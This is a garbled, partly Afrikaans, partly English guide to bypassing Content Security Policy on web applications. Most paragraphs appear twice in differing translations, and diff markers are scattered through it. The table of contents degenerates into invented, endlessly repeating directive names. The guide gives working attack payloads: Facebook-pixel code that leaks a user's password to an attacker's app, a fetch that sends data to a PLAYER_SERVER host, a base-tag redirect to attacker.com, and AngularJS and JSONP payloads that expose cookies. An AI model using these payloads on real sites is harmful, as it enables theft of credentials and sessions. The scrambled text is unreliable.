As jy enige van die toegelate domeine in die CSP van jou teiken vind, is die kans groot dat jy die CSP kan omseil deur op die derde party-diens te registreer en óf data na daardie diens uit te sif óf kode uit te voer.
Byvoorbeeld, as jy die volgende CSP vind:
```
Content-Security-Policy: default-src 'self www.facebook.com;
```
# Content Security Policy (CSP) Bypass
### Content Security Policy (CSP) Bypass
## Introduction
#### Introduction
Content Security Policy (CSP) is a security mechanism implemented by web applications to mitigate the risk of cross-site scripting (XSS) attacks. CSP allows web developers to specify which resources (such as scripts, stylesheets, and images) are allowed to be loaded and executed on a web page. This helps prevent the execution of malicious code injected by attackers.
In this section, we will discuss various techniques to bypass Content Security Policy (CSP) protections implemented on a web application.
However, CSP can sometimes be misconfigured or bypassed, allowing attackers to circumvent its protections. In this guide, we will explore various techniques to bypass CSP and execute arbitrary code on a target web application.
#### Translation:
## Table of Contents
### Inhoudsbeveiligingsbeleid (CSP) Omgang
- [CSP Bypass Techniques](#csp-bypass-techniques)
- [Inline Script Execution](#inline-script-execution)
- [Data: URL Execution](#data-url-execution)
- [Unsafe Inline and Eval](#unsafe-inline-and-eval)
- [Nonce Bypass](#nonce-bypass)
- [CSP Header Manipulation](#csp-header-manipulation)
- [CSP Report-Only Mode](#csp-report-only-mode)
- [CSP Sandbox Directive](#csp-sandbox-directive)
- [CSP Frame Ancestors Directive](#csp-frame-ancestors-directive)
- [CSP Plugin Types Directive](#csp-plugin-types-directive)
- [CSP Upgrade-Insecure-Requests Directive](#csp-upgrade-insecure-requests-directive)
- [CSP Block-All-Mixed-Content Directive](#csp-block-all-mixed-content-directive)
- [CSP Referrer Directive](#csp-referrer-directive)
- [CSP Require-SRI-For Directive](#csp-require-sri-for-directive)
- [CSP Trusted Types Directive](#csp-trusted-types-directive)
- [CSP Worker-Src Directive](#csp-worker-src-directive)
- [CSP Manifest-Src Directive](#csp-manifest-src-directive)
- [CSP Frame-Src Directive](#csp-frame-src-directive)
- [CSP Navigate-To Directive](#csp-navigate-to-directive)
- [CSP Report-To Directive](#csp-report-to-directive)
- [CSP Require-Trusted-Types-For Directive](#csp-require-trusted-types-for-directive)
- [CSP Require-Corp Directive](#csp-require-corp-directive)
- [CSP Require-Honest-Reporting Directive](#csp-require-honest-reporting-directive)
- [CSP Require-Signed-Exchange Directive](#csp-require-signed-exchange-directive)
- [CSP Require-Canonical Directive](#csp-require-canonical-directive)
- [CSP Require-Canonical-With-Default Directive](#csp-require-canonical-with-default-directive)
- [CSP Require-Canonical-With-Default-Ref Directive](#csp-require-canonical-with-default-ref-directive)
- [CSP Require-Canonical-With-Default-Ref-And-Ref Directive](#csp-require-canonical-with-default-ref-and-ref-directive)
- [CSP Require-Canonical-With-Default-Ref-And-Ref-And-Ref Directive](#csp-require-canonical-with-default-ref-and-ref-and-ref-directive)
- [CSP Require-Canonical-With-Default-Ref-And-Ref-And-Ref-And-Ref Directive](#csp-require-canonical-with-default-ref-and-ref-and-ref-and-ref-directive)
- [CSP Require-Canonical-With-Default-Ref-And-Ref-And-Ref-And-Ref-And-Ref Directive](#csp-require-canonical-with-default-ref-and-ref-and-ref-and-ref-and-ref-directive)
- [CSP Require-Canonical-With-Default-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref Directive](#csp-require-canonical-with-default-ref-and-ref-and-ref-and-ref-and-ref-and-ref-directive)
- [CSP Require-Canonical-With-Default-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref Directive](#csp-require-canonical-with-default-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-directive)
- [CSP Require-Canonical-With-Default-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref Directive](#csp-require-canonical-with-default-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-directive)
- [CSP Require-Canonical-With-Default-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref Directive](#csp-require-canonical-with-default-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-directive)
- [CSP Require-Canonical-With-Default-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref Directive](#csp-require-canonical-with-default-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-directive)
- [CSP Require-Canonical-With-Default-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref Directive](#csp-require-canonical-with-default-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-directive)
- [CSP Require-Canonical-With-Default-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref Directive](#csp-require-canonical-with-default-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-directive)
- [CSP Require-Canonical-With-Default-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref Directive](#csp-require-canonical-with-default-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-and-ref-directive)
- [CSP Require-Canonical-With-Default-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-Ref-And-
#### Inleiding
In hierdie afdeling sal ons verskeie tegnieke bespreek om Inhoudsbeveiligingsbeleid (CSP) beskermings wat geïmplementeer is op 'n webtoepassing te omseil.
```
Content-Security-Policy: connect-src www.facebook.com;
```
Jy behoort in staat te wees om data uit te voer, soortgelyk aan hoe dit altyd gedoen is met [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). In hierdie geval volg jy hierdie algemene stappe:
1. Skep 'n Facebook-ontwikkelaarsrekening hier.
2. Skep 'n nuwe "Facebook-aanmelding" -toep en kies "Webwerf".
3. Gaan na "Instellings -> Basies" en kry jou "Toep-ID".
4. Op die teikensite waarvan jy data wil eksfiltreer, kan jy data eksfiltreer deur direk die Facebook SDK-toestel "fbq" te gebruik deur 'n "customEvent" en die datapakket.
5. Gaan na jou Toep "Gebeurtenisbestuurder" en kies die aansoek wat jy geskep het (let op dat die gebeurtenisbestuurder gevind kan word in 'n URL soortgelyk aan hierdie: https://www.facebook.com/events_manager2/list/pixel/\[app-id]/test_events
6. Kies die lêer "Toetsgebeurtenisse" om die gebeurtenisse te sien wat deur "jou" webwerf gestuur word.
1. Skep 'n Facebook Developer-rekening hier.
1. Skep 'n nuwe "Facebook Login" app en kies "Webwerf".
1. Gaan na "Instellings -> Basies" en kry jou "App ID".
1. In die teikensite waarvan jy data wil uitvoer, kan jy data uitvoer deur direk die Facebook SDK-gadget "fbq" te gebruik deur 'n "customEvent" en die datapakket.
1. Gaan na jou App "Eventbestuurder" en kies die toepassing wat jy geskep het (let op dat die eventbestuurder gevind kan word in 'n URL soortgelyk aan hierdie: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
1. Kies die "Toetsgebeurtenisse"-oortjie om die gebeurtenisse te sien wat deur "jou" webwerf uitgestuur word.
Dan, aan die slagofferkant, voer jy die volgende kode uit om die Facebook volgpixel te inisialiseer om na die aanvaller se Facebook-ontwikkelaarrekening se app-id te verwys en 'n custom gebeurtenis uit te reik soos hierdie:
Dan, aan die slagofferkant, voer jy die volgende kode uit om die Facebook-spoorpixel te inisieer om na die aanvaller se Facebook-ontwikkelaarsrekeningstoep-ID te wys en 'n aangepaste gebeurtenis uit te reik soos hierdie:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
Wat die ander sewe derde-party domeine betref wat in die vorige tabel gespesifiseer is, is daar baie ander maniere waarop jy hulle kan misbruik. Verwys na die vorige [blogpos](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) vir addisionele verduidelikings oor ander derde-party misbruik.
### Oorweging via RPO (Relatiewe Pad Oorskrywing) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
### Omseiling deur middel van RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Naas die vooraf genoemde omleiding om padbeperkings te omseil, is daar 'n ander tegniek genaamd Relative Path Overwrite (RPO) wat op sommige bedieners gebruik kan word.
Benewens die voorafgenoemde omleiding om padbeperkings te omseil, is daar 'n ander tegniek genaamd Relatiewe Pad Oorskrywing (RPO) wat op sommige bedieners gebruik kan word.
Byvoorbeeld, as CSP die pad `https://example.com/scripts/react/` toelaat, kan dit so omseil word:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
Die blaaier sal uiteindelik `https://example.com/scripts/angular/angular.js` laai.
Die browser sal uiteindelik `https://example.com/scripts/angular/angular.js` laai.
Dit werk omdat vir die blaaier, laai jy 'n lêer genaamd `..%2fangular%2fangular.js` wat geleë is onder `https://example.com/scripts/react/`, wat voldoen aan CSP.
Dit werk omdat vir die browser, laai jy 'n lêer genaamd `..%2fangular%2fangular.js` wat geleë is onder `https://example.com/scripts/react/`, wat voldoen aan CSP.
∑, sal hulle dit ontsleutel, en effektief `https://example.com/scripts/react/../angular/angular.js` aanvra, wat gelykstaande is aan `https://example.com/scripts/angular/angular.js`.
Dus, sal hulle dit ontsluit, effektief versoek `https://example.com/scripts/react/../angular/angular.js`, wat gelykstaande is aan `https://example.com/scripts/angular/angular.js`.
Deur **hierdie teenstrydigheid in URL-interpretasie tussen die blaaier en die bediener uit te buit, kan die padreëls omseil** word.
Deur **hierdie inkonsekwentheid in URL-interpretasie tussen die browser en die bediener uit te buit, kan die padreëls omseil word**.
Die oplossing is om `%2f` nie as `/` aan die bedienerkant te hanteer nie, om sodoende 'n konsekwente interpretasie tussen die blaaier en die bediener te verseker en hierdie probleem te vermy.
Die oplossing is om `%2f` nie as `/` aan die kant van die bediener te hanteer nie, om sodoende 'n konsekwente interpretasie tussen die browser en die bediener te verseker om hierdie probleem te voorkom.
Aanlyn Voorbeeld: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Iframes JS-uitvoering
### Iframes JS uitvoering
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
@ -443,33 +373,32 @@ Aanlyn Voorbeeld: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsb
### ontbrekende **base-uri**
As die **base-uri** riglyn ontbreek, kan jy dit misbruik om 'n [**dangling markup injection**](../dangling-markup-html-scriptless-injection/) uit te voer.
Indien die **base-uri** riglyn ontbreek kan jy dit misbruik om 'n [**hangende merkup-injeksie**](../dangling-markup-html-scriptless-injection/) uit te voer.
Verder, as die **bladsy 'n skrip laai deur 'n relatiewe pad** te gebruik (soos `<script src="/js/app.js">`) deur 'n **Nonce**, kan jy die **base** **tag** misbruik om dit te laat **laai** die skrip vanaf **jou eie bediener en 'n XSS te bereik.**\
As die kwesbare bladsy met **httpS** gelaai word, gebruik 'n httpS-url in die basis.
Verder, as die **bladsy 'n skrip laai deur 'n relatiewe pad** te gebruik (soos `<script src="/js/app.js">`) deur 'n **Nonce** te gebruik, kan jy die **basis** **tag** misbruik om dit te laat **laai** die skrip vanaf **jou eie bediener om 'n XSS te bereik.**\
Indien die kwesbare bladsy met **httpS** gelaai word, maak gebruik van 'n httpS-url in die basis.
```html
<base href="https://www.attacker.com/">
```
### AngularJS gebeure
'n Spesifieke beleid bekend as Inhoudsbeveiligingsbeleid (CSP) kan JavaScript-gebeure beperk. Nietemin stel AngularJS aangepaste gebeure as 'n alternatief voor. Binne 'n gebeurtenis verskaf AngularJS 'n unieke voorwerp `$event`, wat verwys na die inheemse blaaier-gebeurtenisvoorwerp. Hierdie `$event`-voorwerp kan gebruik word om die CSP te omseil. Veral in Chrome besit die `$event/event`-voorwerp 'n `path`-eienskap wat 'n voorwerpmatriks bevat wat betrokke is by die uitvoerketting van die gebeurtenis, met die `window`-voorwerp wat altyd aan die einde geplaas word. Hierdie struktuur is van kritieke belang vir sandbakkisontsnappingstaktieke.
'n Spesifieke beleid bekend as Inhoudsbeveiligingsbeleid (CSP) mag JavaScript-gebeure beperk. Nietemin, AngularJS stel aangepaste gebeure as 'n alternatief voor. Binne 'n gebeurtenis bied AngularJS 'n unieke objek `$event`, wat verwys na die inheemse blaaier-gebeurtenisobjek. Hierdie `$event` objek kan benut word om die CSP te omseil. Merkwaardig, in Chrome, besit die `$event/event` objek 'n `path` eienskap, wat 'n objekreeks bevat wat betrokke is by die uitvoerketting van die gebeurtenis, met die `window` objek wat altyd aan die einde geplaas word. Hierdie struktuur is noodsaaklik vir sandbakkieskap-ontsnappingstaktieke.
Deur hierdie matriks na die `orderBy`-filter te rig, is dit moontlik om daaroor te itereer en die terminale element (die `window`-voorwerp) te benut om 'n globale funksie soos `alert()` te aktiveer. Die gedemonstreerde kodefragment hieronder verduidelik hierdie proses:
Deur hierdie reeks na die `orderBy` filter te rig, is dit moontlik om daaroor te itereer, waar die terminalelement (die `window` objek) benut kan word om 'n globale funksie soos `alert()` te aktiveer. Die gedemonstreerde kodefragment hieronder verduidelik hierdie proses:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Hierdie snipper wys die gebruik van die `ng-focus` riglyn om die gebeurtenis te aktiveer, deur die `$event.path|orderBy` te gebruik om die `path`-array te manipuleer, en deur die `window`-objek te benut om die `alert()`-funksie uit te voer, wat dus `document.cookie` blootstel.
Hierdie snipper lig die gebruik van die `ng-focus` riglyn uit om die gebeurtenis te trigger, deur die `$event.path|orderBy` te gebruik om die `path` array te manipuleer, en deur die `window` objek te benut om die `alert()` funksie uit te voer, wat dus `document.cookie` blootstel.
**Vind ander Angular omseilings in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
**Vind ander Angular omleidings in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS en toegelate domein
### AngularJS en witlys-domein
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
'n CSP-beleid wat domeine vir skriplading in 'n Angular JS-toepassing op 'n witlys plaas, kan omseil word deur die aanroeping van terugroepfunksies en sekere kwesbare klasse. Verdere inligting oor hierdie tegniek is beskikbaar in 'n gedetailleerde gids op hierdie [git-opberging](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
Werkende lading:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
@ -478,13 +407,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Ander JSONP-willekeurige uitvoeringspunten kan hier gevind word [**hier**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (sommige van hulle is verwyder of reggestel)
Ander JSONP willekeurige uitvoerings-eindpunte kan gevind word [**hier**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (van hulle is verwyder of reggemaak)
### Omleiding deurloop
### Omsnyding deur Herleiing
Wat gebeur wanneer CSP te make kry met 'n omleiding aan die kant van die bediener? As die omleiding na 'n ander oorsprong lei wat nie toegelaat word nie, sal dit steeds misluk.
Wat gebeur wanneer CSP kantoor-server herleiing teëkom? As die herleiing na 'n ander oorsprong lei wat nie toegelaat word nie, sal dit steeds misluk.
Volgens die beskrywing in [CSP spesifikasie 4.2.2.3. Paaie en omleidings](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), kan die oorspronklike beperkings omseil word as die omleiding na 'n ander pad lei.
Tog, volgens die beskrywing in [CSP spes 4.2.2.3. Paaie en Herleidings](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), as die herleiing na 'n ander pad lei, kan dit die oorspronklike beperkings omseil.
Hier is 'n voorbeeld:
```html
@ -502,35 +431,35 @@ Hier is 'n voorbeeld:
</body>
</html>
```
As CSP is ingestel op `https://www.google.com/a/b/c/d`, sal beide `/test` en `/a/test` skripte geblokkeer word deur CSP, aangesien die pad in ag geneem word.
Indien CSP ingestel is op `https://www.google.com/a/b/c/d`, aangesien die pad oorweeg word, sal beide `/test` en `/a/test` skripte deur CSP geblokkeer word.
Die finale `http://localhost:5555/301` sal egter **op die bedienerkant na `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` omgelei word**. Aangesien dit 'n omleiding is, word die **pad nie in ag geneem nie**, en die **skrip kan gelaai word**, wat die padbeperking omseil.
Nietemin, die finale `http://localhost:5555/301` sal **op die bedienerkant na `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` omgelei word**. Aangesien dit 'n omleiding is, word die **pad nie oorweeg nie**, en die **skrip kan gelaai word**, wat dus die padbeperking omseil.
Met hierdie omleiding sal dit selfs omseil word as die pad volledig gespesifiseer word.
Met hierdie omleiding, selfs al is die pad volledig gespesifiseer, sal dit steeds omseil word.
Daarom is die beste oplossing om te verseker dat die webwerf geen oop omleidingskwesbaarhede het nie en dat daar geen domeine is wat in die CSP-reëls uitgebuit kan word.
### Omseil CSP met hangende merkups
### Omseil CSP met hangende opmaak
Lees [hier hoe](../dangling-markup-html-scriptless-injection/).
Lees [hoe hier](../dangling-markup-html-scriptless-injection/).
### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` beteken dat jy enige skrip binne die kode kan uitvoer (XSS kan kode uitvoer) en `img-src *` beteken dat jy enige prent van enige bron in die webblad kan gebruik.
`'unsafe-inline'` beteken dat jy enige skrip binne die kode kan uitvoer (XSS kan kode uitvoer) en `img-src *` beteken dat jy enige beeld van enige bron op die webbladsy kan gebruik.
Jy kan hierdie CSP omseil deur die data te eksfiltreer deur middel van prente (in hierdie geval misbruik die XSS 'n CSRF waar 'n bladsy wat deur die bot toeganklik is, 'n SQLi bevat, en die vlag uittrek deur middel van 'n prent):
Jy kan hierdie CSP omseil deur die data via beelde te eksfiltreer (in hierdie geval misbruik die XSS 'n CSRF waar 'n bladsy wat deur die bot toeganklik is 'n SQLi bevat, en onttrek die vlag via 'n beeld):
```javascript
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
```
Vanaf: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Jy kan ook hierdie konfigurasie misbruik om **javascript-kode wat binne 'n prent ingevoeg is te laai**. As byvoorbeeld die bladsy toelaat dat prente vanaf Twitter gelaai word, kan jy 'n **spesiale prent** skep, dit na Twitter oplaai en die "**unsafe-inline**" misbruik om 'n JS-kode (soos 'n gewone XSS) uit te voer wat die prent sal **laai**, die **JS** daaruit sal **onttrek** en dit sal **uitvoer**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Jy kan ook hierdie konfigurasie misbruik om **javascript-kode wat binne 'n afbeelding ingevoeg is te laai**. As die bladsy byvoorbeeld laai vanaf Twitter toelaat, kan jy 'n **spesiale afbeelding** **skep**, dit na Twitter **oplaai** en die "**unsafe-inline**" misbruik om 'n JS-kode (soos 'n gewone XSS) uit te voer wat die **afbeelding laai**, die **JS** daaruit **onttrek** en **dit uitvoer**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Met Dienswerkers
Dienswerkers se **`importScripts`**-funksie word nie deur CSP beperk nie:
Dienswerkers se **`importScripts`**-funksie is nie beperk deur CSP nie:
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
@ -542,25 +471,25 @@ Dienswerkers se **`importScripts`**-funksie word nie deur CSP beperk nie:
#### Chrome
As 'n **parameter** wat deur jou gestuur word, binne die **verklaring** van die **beleid geplak** word, kan jy die beleid op 'n manier verander wat dit **nutteloos maak**. Jy kan skrips "unsafe-inline" toelaat met enige van hierdie omseilings:
As 'n **parameter** wat deur jou gestuur word binne die **verklaring** van die **beleid** geplak word, kan jy die **beleid** op 'n manier **verander** wat dit **nutteloos** maak. Jy kan skrips toelaat 'unsafe-inline' met enige van hierdie omseilings:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Omdat hierdie riglyn bestaande script-src riglyne sal **oorwrite**.\
Omdat hierdie riglyn bestaande script-src riglyne sal **owerwrite**.\
Jy kan 'n voorbeeld hier vind: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
#### Rand
In Edge is dit baie eenvoudiger. As jy net hierdie kan byvoeg in die CSP: **`;_`** sal **Edge** die hele **beleid laat val**.\
In Rand is dit baie eenvoudiger. As jy net hierdie in die CSP kan byvoeg: **`;_`** **Rand** sou die hele **beleid** **laat val**.\
Voorbeeld: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
### img-src \*; via XSS (iframe) - Tydaanval
### img-src \*; via XSS (iframe) - Tyd aanval
Let op die afwesigheid van die riglyn `'unsafe-inline'`\
Hierdie keer kan jy die slagoffer 'n bladsy in **jou beheer** laat **laai** via **XSS** met 'n `<iframe>`. Hierdie keer gaan jy die slagoffer die bladsy laat besoek waarvandaan jy inligting wil onttrek (**CSRF**). Jy kan nie die inhoud van die bladsy onttrek nie, maar as jy op een of ander manier die tyd kan beheer wat die bladsy neem om te laai, kan jy die benodigde inligting onttrek.
Hierdie keer kan jy die slagoffer **'n bladsy in **jou beheer** laat **laai** via **XSS** met 'n `<iframe`. Hierdie keer gaan jy die slagoffer die bladsy laat besoek van waar jy inligting wil onttrek (**CSRF**). Jy kan nie die inhoud van die bladsy bereik nie, maar as jy op een of ander manier die tyd kan **beheer wat die bladsy neem om te laai** kan jy die inligting wat jy nodig het, onttrek.
Hierdie keer sal 'n **vlag** onttrek word, telkens as 'n **karakter korrek gegis** word via SQLi, neem die **reaksie** langer tyd as gevolg van die slaapfunksie. Dan sal jy in staat wees om die vlag te onttrek:
Hierdie keer gaan 'n **vlag** onttrek word, telkens wanneer 'n **karakter korrek gegok** word via SQLi neem die **reaksie** langer tyd as gevolg van die slaapfunksie. Dan sal jy in staat wees om die vlag te onttrek:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
@ -620,17 +549,17 @@ console.log(prefix);
run();
</script>
```
### Via Bladwijzers
### Via Boekmerklets
Hierdie aanval vereis 'n bietjie sosiale ingenieurswese waar die aanvaller die gebruiker oortuig om 'n skakel oor die bladwijzer van die webblaaier te sleep en te laat val. Hierdie bladwijzer sal **boosaardige javascript**-kode bevat wat uitgevoer sal word in die konteks van die huidige webvenster, **CSP omseil en die diefstal van sensitiewe inligting soos koekies of tokens toelaat**.
Hierdie aanval sou 'n bietjie sosiale manipulasie impliseer waar die aanvaller die gebruiker oortuig om 'n skakel oor die boekmerklet van die webblaaier te sleep en los. Hierdie boekmerklet sou **skadelike javascript-kode** bevat wat uitgevoer sou word in die konteks van die huidige web-venster, wat **CSP omseil en die diefstal van sensitiewe inligting** soos koekies of tokens moontlik maak.
Vir meer inligting [**kyk die oorspronklike verslag hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
Vir meer inligting [**kyk na die oorspronklike verslag hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP-omseiling deur beperking van CSP
### CSP-omseiling deur CSP te beperk
In [**hierdie CTF-verslag**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) word CSP omseil deur 'n meer beperkende CSP in te spuit binne 'n toegelate ifram wat die laai van 'n spesifieke JS-lêer verbied. Hierdie lêer maak dit dan moontlik om deur middel van **prototipeverontreiniging** of **dom-verontreiniging** 'n ander skrip te misbruik om 'n willekeurige skrip te laai.
In [**hierdie CTF-verslag**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) word CSP omseil deur binne 'n toegelate ifram 'n meer beperkende CSP in te spuit wat die laai van 'n spesifieke JS-lêer verhoed het, wat dan, via **prototipevervuiling** of **dom-verstoring** toegelaat het om 'n ander skrip te misbruik om 'n willekeurige skrip te laai.
Jy kan **'n CSP van 'n Iframe beperk** met die **`csp`**-eienskap:
Jy kan **'n CSP van 'n Iframe beperk** met die **`csp`** eienskap:
{% code overflow="wrap" %}
```html
@ -638,19 +567,19 @@ Jy kan **'n CSP van 'n Iframe beperk** met die **`csp`**-eienskap:
```
{% endcode %}
In [**hierdie CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), was dit moontlik deur **HTML-injectie** om 'n **CSP** meer te **beperk**, sodat 'n skrip wat CSTI voorkom, gedeaktiveer is en dus die **kwesbaarheid uitbuitbaar geword het.**\
CSP kan meer beperkend gemaak word deur gebruik te maak van **HTML meta-etikette** en inline-skripte kan gedeaktiveer word deur die **inskrywing** wat hul **nonce** toelaat te **verwyder** en **spesifieke inline-skrip te aktiveer via sha**:
In [**hierdie CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), was dit moontlik deur **HTML inspuiting** om 'n **CSP** meer te **beperk** sodat 'n skrip wat CSTI voorkom, gedeaktiveer is en gevolglik die **kwesbaarheid vatbaar geword het vir uitbuiting.**\
CSP kan meer beperkend gemaak word deur **HTML meta-tukke** te gebruik en inline-skripte kan gedeaktiveer word **deur die** **inskrywing** wat hulle **nonce** toelaat en **spesifieke inline-skrip via sha** te aktiveer:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
```
### JS uitlekking met Content-Security-Policy-Report-Only
### JS uitlekking met Inhoud-Sekerheidsbeleid-Verklaar-Slegs
As jy kan slaag om die bediener te laat reageer met die kop **`Content-Security-Policy-Report-Only`** met 'n **waarde wat deur jou beheer word** (dalk as gevolg van 'n CRLF), kan jy dit laat wys na jou bediener en as jy die **JS-inhoud** wat jy wil uitlek, **omsluit** met **`<script>`**, en omdat dit baie waarskynlik is dat `unsafe-inline` nie toegelaat word deur die CSP nie, sal dit 'n CSP-fout veroorsaak en 'n gedeelte van die skrips (wat die sensitiewe inligting bevat) sal na die bediener gestuur word vanaf `Content-Security-Policy-Report-Only`.
As jy kan slaag om die bediener te laat antwoord met die kop **`Inhoud-Sekerheidsbeleid-Verklaar-Slegs`** met 'n **waarde wat deur jou beheer word** (miskien as gevolg van 'n CRLF), kan jy dit jou bediener laat aandui en as jy die **JS-inhoud** wat jy wil uitlek met **`<script>`** omhul en omdat dit baie waarskynlik is dat `onveilig-inlyn` nie toegelaat word deur die CSP nie, sal dit 'n CSP-fout veroorsaak en 'n deel van die skrip (wat die sensitiewe inligting bevat) sal na die bediener gestuur word vanaf `Inhoud-Sekerheidsbeleid-Verklaar-Slegs`.
Vir 'n voorbeeld [**kyk na hierdie CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
Vir 'n voorbeeld [**kyk na hierdie CTF-skryfstuk**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
@ -658,49 +587,36 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
```
### Uitlek van Inligting met CSP en Iframe
- 'n `iframe` word geskep wat na 'n URL verwys (ons noem dit `https://voorbeeld.redirect.com`) wat toegelaat word deur CSP.
- Hierdie URL verwys dan na 'n geheime URL (bv. `https://gebruikergeheim.example2.com`) wat **nie toegelaat** word deur CSP nie.
